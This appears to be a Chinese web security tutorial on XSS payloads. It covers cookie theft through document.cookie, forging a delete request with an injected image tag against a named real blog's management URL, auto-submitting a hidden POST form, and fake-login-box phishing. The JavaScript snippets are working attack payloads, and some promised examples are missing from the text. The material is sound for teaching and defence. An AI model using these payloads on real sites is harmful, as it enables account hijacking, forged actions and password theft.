1.Cookie劫持
一个最常见的XSS Payload,就是通过读取浏览器的Cookie对象,从而发起“Cookie劫持”攻击
Cookie中一般加密保存了当前用户的登录凭证。Cookie如果丢失,往往意味着用户的登录凭证丢失。换句话说,攻击者可以不通过密码,而直接登录进用户的账户
<script>alert(document.cookie)</script>
这样,就完成了一个最简单的窃取Cookie的XSS Payload
Cookie的“HttpOnly”标识可以防止“Cookie劫持”🛹
2.构造GET与POST请求
构造GET请求:🛹
比如在某博客上有一篇文章,想通过XSS删除它,该如何做呢?
例如正常删除该文章的链接是:
http://blog.sohu.com/manage/entry.do? m=delete&id=156713012
攻击者可以通过插入一张图片来发起一个GET请求:
var img = document.createElement("img"); img.src = "http://blog.sohu.com/manage/entry.do? m=delete&id=156713012"; document.body.appendChild(img);
构造POST请求:🙌
例如现在有一个表单。攻击者将通过JavaScript发出一个POST请求,提交此表单,最终发出一条新的消息
var dd = document.createElement("div"); document.body.appendChild(dd); dd.innerHTML = '<form action="" method="post" id="xssform" name="mbform">'+ '<input type="hidden" value="JiUY" name="ck" />'+ '<input type="text" value="testtesttest" name="mb_text" />'+ '</form>' document.getElementById("xssform").submit();
3.XSS钓鱼
在前文提到的“通过POST表单发消息”的案例中,如果在提交表单时要求用户输入验证码,那么一般的XSS Payload都会失效;此外,在大多数“修改用户密码”的功能中,在提交新密码前,都会要求用户输入“Old Password”。而这个“Old Password”,对于攻击者来说,往往是不知道的。
但是,这就能限制住XSS攻击吗?答案是否定的。
对于验证码,XSS Payload可以通过读取页面内容,将验证码的图片URL发送到远程服务器上来实施——攻击者可以在远程XSS后台接收当前验证码,并将验证码的值返回给当前的XSS Payload,从而绕过验证码。
修改密码的问题稍微复杂点。为了窃取密码,攻击者可以将XSS与“钓鱼”相结合。
实现思路很简单:利用JavaScript在当前页面上“画出”一个伪造的登录框,当用户在登录框中输入用户名与密码后,其密码将被发送至黑客的服务器上。
例如:
4.识别用户浏览器
最直接的莫过于通过XSS读取浏览器的UserAgent对象:
alert(navigator.userAgent);
如下是一个典型的Chrome浏览器: